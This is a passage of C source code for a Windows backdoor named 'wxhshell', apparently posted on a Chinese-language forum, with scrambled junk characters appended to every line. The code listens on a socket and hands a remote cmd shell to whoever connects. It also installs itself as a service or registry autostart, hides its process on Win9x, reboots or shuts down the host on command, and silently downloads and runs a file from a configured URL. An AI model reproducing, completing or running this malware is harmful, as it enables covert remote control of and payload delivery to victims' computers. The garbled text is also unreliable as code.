  // 帮助 Wp[R$/uT  
  case '?': { &Q85Bq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eKq`t.*Ft  
    break; _ xAL0 (  
  } `T gwa  
  // 安装 dBKceL v  
  case 'i': { ;%j1'VI  
    if(Install()) _rz*7-ks=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]}~[2k.  
    else H~IN<3ko  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \[Dxg`;4  
    break; IU8/B+hM~  
    } $H9+>Z0(  
  // 卸载 b`=\<u8  
  case 'r': { %ifq4'?Z   
    if(Uninstall()) '<A:`V9M}v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FOFZ/q  
    else /NH9$u.g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $&@L[[xl  
    break; 19u'{/Y"  
    } LvsNU0x  
  // 显示 wxhshell 所在路径 =X0"!y"  
  case 'p': { }CiB+  
    char svExeFile[MAX_PATH]; %YI Xk1  
    strcpy(svExeFile,"\n\r"); y3]7^+k  
      strcat(svExeFile,ExeFile); )L*6xTa~  
        send(wsh,svExeFile,strlen(svExeFile),0); {PXN$p:'  
    break; GtCbzNY  
    } ]5+db0  
  // 重启 lm?1 K:+[  
  case 'b': { L|7F%oR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q!%4Iq%jr  
    if(Boot(REBOOT)) "t-u=aDl-.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b#:Pl`n6u  
    else { }E\ b_.  
    closesocket(wsh); p@H3NX  
    ExitThread(0); H WOl79-  
    } Jzg>Y?jN R  
    break; \M H\!  
    } RGw=!0V  
  // 关机 {c'2{`px 5  
  case 'd': { CMm:Vea  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kIb)I(n  
    if(Boot(SHUTDOWN)) 8Rgvb3u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (o!v,=# 6{  
    else { ],lrT0_cT  
    closesocket(wsh); t(O{IUYM  
    ExitThread(0); `kn 'RZR  
    } oJcDs-!  
    break; .o(XnY)cgJ  
    } C6=P(%y  
  // 获取shell ;^9Ao>(?y  
  case 's': { 9!u=q5+E  
    CmdShell(wsh); |a(%a43fC  
    closesocket(wsh); _&Hq`KJm  
    ExitThread(0); E^:8Jehq  
    break; 7r`A6 \ !  
  } D;pfogK @  
  // 退出 gy Jx>i  
  case 'x': { 5Av bKT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !$/1Q+  
    CloseIt(wsh); tSr.0'CE  
    break; )%4%Uo_Xm  
    } 6*] g)m  
  // 离开 -R^OYgF  
  case 'q': { u~| D;e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x<m{B@3T  
    closesocket(wsh); t:DZow  
    WSACleanup(); +:hZ,G?>  
    exit(1); E4a`cGb  
    break; 3yWu-U \k  
        } As$:V<Z  
  } 0w0\TWz*   
  } *o}LI6_u  
[jPUAr}  
  // 提示信息 `D0>L '  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jE /pba4R  
} I[r  
  } '[E|3K5d  
(]JZ1s|  
  return; or?@Ti;  
} P8hA<{UFS\  
f^P:eBgpx  
// shell模块句柄 Uxla,CCp-  
int CmdShell(SOCKET sock) ~ .}  
{ 82S?@%}#J  
STARTUPINFO si; e)pQh& uD  
ZeroMemory(&si,sizeof(si)); y4%u< /  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tE i-0J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &n_aMZ;  
PROCESS_INFORMATION ProcessInfo; -^C't_Q o  
char cmdline[]="cmd"; 6TN!63{Cz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^BDM'  
  return 0; a J%&Y5L  
} %?GLMf7)  
RoV^sbWFt  
// 自身启动模式 V/X4WZs|i  
int StartFromService(void) k<aKT?Ek>  
{ 5XK}8\  
typedef struct (=hXt=hZ  
{ Mw=sW5Z  
  DWORD ExitStatus; NQ7 j{dJ?  
  DWORD PebBaseAddress; \+]U1^  
  DWORD AffinityMask; v!\\aG/  
  DWORD BasePriority; <M(Jqb cWa  
  ULONG UniqueProcessId; {o2pCH  
  ULONG InheritedFromUniqueProcessId; AOT +4*)%  
}   PROCESS_BASIC_INFORMATION; p$>e{-u  
qH3<,s*  
PROCNTQSIP NtQueryInformationProcess; G+k[.  
mN5`Fct*A>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WD wW`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e(;1XqLM  
z:RclDm  
  HANDLE             hProcess; +~gqP k  
  PROCESS_BASIC_INFORMATION pbi; _R&}CP  
!ke_?+ 8sY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l>l)m-;O  
  if(NULL == hInst ) return 0; v35wlt^}  
-&4W0JK9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yv.Y-c=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m!{}Y]FZn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cY%[UK$l  
c\X0*GX  
  if (!NtQueryInformationProcess) return 0; Jr0D:  
Oeua<,]Z~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4WK@ap-~  
  if(!hProcess) return 0; BUH~aV  
PV_E3,RY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q1:Y]Rbe  
h8IjTd]z{$  
  CloseHandle(hProcess); [iJU{W  
KfC8~{O-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xM ]IU <  
if(hProcess==NULL) return 0; q3+G  
: K%{?y  
HMODULE hMod; 9fk@C/$  
char procName[255]; B;SN}I  
unsigned long cbNeeded; z tS P4lW  
m$T?~o o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $=>(7 =l_  
71AR)6<R  
  CloseHandle(hProcess); =[wVRQ?  
GCN(  
if(strstr(procName,"services")) return 1; // 以服务启动 Ka[@-XH  
W)3IS&;P  
  return 0; // 注册表启动 ldjypEa}  
} EN lqoj1  
. &dh7` l  
// 主模块 owClnp9K  
int StartWxhshell(LPSTR lpCmdLine) .C avb  
{ X[L6Av  
  SOCKET wsl; K6#9HF'2I  
BOOL val=TRUE; +\SNaq~&  
  int port=0; (!h%) _?.l  
  struct sockaddr_in door; %w <59d6  
= > .EDL.  
  if(wscfg.ws_autoins) Install(); OrX x0Hn  
D-)jmz>R  
port=atoi(lpCmdLine); d4"KM+EP?  
DKV^c'  
if(port<=0) port=wscfg.ws_port; d*%-r2K  
I!(.tu6u6c  
  WSADATA data; xPa>-N=*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P0m;AqS#R  
neQ2k=ao  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z/bJDSQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j%%l$i~  
  door.sin_family = AF_INET; ]=A=VH&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D#>+]}5@x  
  door.sin_port = htons(port); m?;aTSa  
S>~QuCMY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]?P9M<0PM  
closesocket(wsl); *G"vV>OSV  
return 1; _vA\j  
} vF, !8e'v  
o'.6gZ gk  
  if(listen(wsl,2) == INVALID_SOCKET) { ?}*A/-Hx0U  
closesocket(wsl); S[fzy$">  
return 1; ]A}'jP  
} vt`hY4  
  Wxhshell(wsl); - #]?3*NO  
  WSACleanup(); jEBZ"Jvb  
o[AQS`  
return 0; /p~Wk4'  
8" Z!: =A  
} csTX',c  
OZ?4"1$.t  
// 以NT服务方式启动 |;q*Zy(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4]$cf:  
{ .+XGbs]kCi  
DWORD   status = 0; }+U} [G  
  DWORD   specificError = 0xfffffff; 1-@.[VI  
L2>UA<@mZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zGFo -C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <\k=j{@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \M>+6m@w  
  serviceStatus.dwWin32ExitCode     = 0; ]}Hcb)'j@  
  serviceStatus.dwServiceSpecificExitCode = 0; 6T 2jVNg  
  serviceStatus.dwCheckPoint       = 0; Fy-+? ~  
  serviceStatus.dwWaitHint       = 0; +O23@G?x  
'>(R'g42n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fRo_rj _  
  if (hServiceStatusHandle==0) return; V.;,1%  
)L#C1DP#  
status = GetLastError(); h'wOslyFa  
  if (status!=NO_ERROR) =Haqr*PDx  
{ 3=xb%Upw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }'{39vc .  
    serviceStatus.dwCheckPoint       = 0; }zVPdBRfm  
    serviceStatus.dwWaitHint       = 0;  N7j  
    serviceStatus.dwWin32ExitCode     = status; VHX&#vm*  
    serviceStatus.dwServiceSpecificExitCode = specificError; BsVUEF,N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  "m3:HS  
    return; ShanwaCDqv  
  } &F" Mkyf  
yTw0\yiO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r@+IDW.=9  
  serviceStatus.dwCheckPoint       = 0; uAT01ZEm  
  serviceStatus.dwWaitHint       = 0; ,)A^3Q*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jh.W$.Oq  
} juuBLv  
JDVMq=ui  
// 处理NT服务事件,比如:启动、停止 "H>L!v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;J pdnV  
{ UD [S>{  
switch(fdwControl) }x4,a6^  
{ ,J?Hdy:R  
case SERVICE_CONTROL_STOP: ~uRG~,{rH  
  serviceStatus.dwWin32ExitCode = 0; <by}/lF0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o[*</A }  
  serviceStatus.dwCheckPoint   = 0; '2=u<a B  
  serviceStatus.dwWaitHint     = 0; O4FW/)gq  
  { ' >> IMF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %7BVJJp2  
  } yG58?5\9  
  return; +]Of f^s  
case SERVICE_CONTROL_PAUSE: ]B0 >r^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FQ?,&s$Bmd  
  break; Lys4l$J]  
case SERVICE_CONTROL_CONTINUE: =flgKRKk.r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~,yHE3B\G  
  break; jzc/Olb  
case SERVICE_CONTROL_INTERROGATE: H n+1I  
  break; ByeyUw  
}; YMP:T?vMVh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^a|$z$spf  
} /_E:sI9(  
$enh>!mU  
// 标准应用程序主函数 u4B,|_MK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *!UY;InanX  
{ 5=Mm=HyI2  
|jm|/{lc  
// 获取操作系统版本 3ydOBeY  
OsIsNt=GetOsVer(); w\=zTHo88  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;nG"y:qq  
]@1YgV  
  // 从命令行安装 XhFa9RC  
  if(strpbrk(lpCmdLine,"iI")) Install(); ke|v|@  
94%gg0azp  
  // 下载执行文件 j~V@0z.  
if(wscfg.ws_downexe) { w.J[3m/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (utm+*V,  
  WinExec(wscfg.ws_filenam,SW_HIDE); LU4\&fd  
} ,.tT9? m  
EDvK9J  
if(!OsIsNt) { &$  F0  
// 如果时win9x,隐藏进程并且设置为注册表启动 ayyn6a8  
HideProc(); A|tee@H*0  
StartWxhshell(lpCmdLine); "xZ]i)  
} $*K5  
else vP&dvAUF  
  if(StartFromService()) Z$0r+phQk=  
  // 以服务方式启动 ?*E Y~'I  
  StartServiceCtrlDispatcher(DispatchTable); *=dFTd"#  
else /ee:GjUkB  
  // 普通方式启动 > ZkcL7t9  
  StartWxhshell(lpCmdLine); 4cL NPl<  
W^0F(9~!(  
return 0; N+l~r]: &  
}
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只看该作者 1 发表于: 2006-10-10
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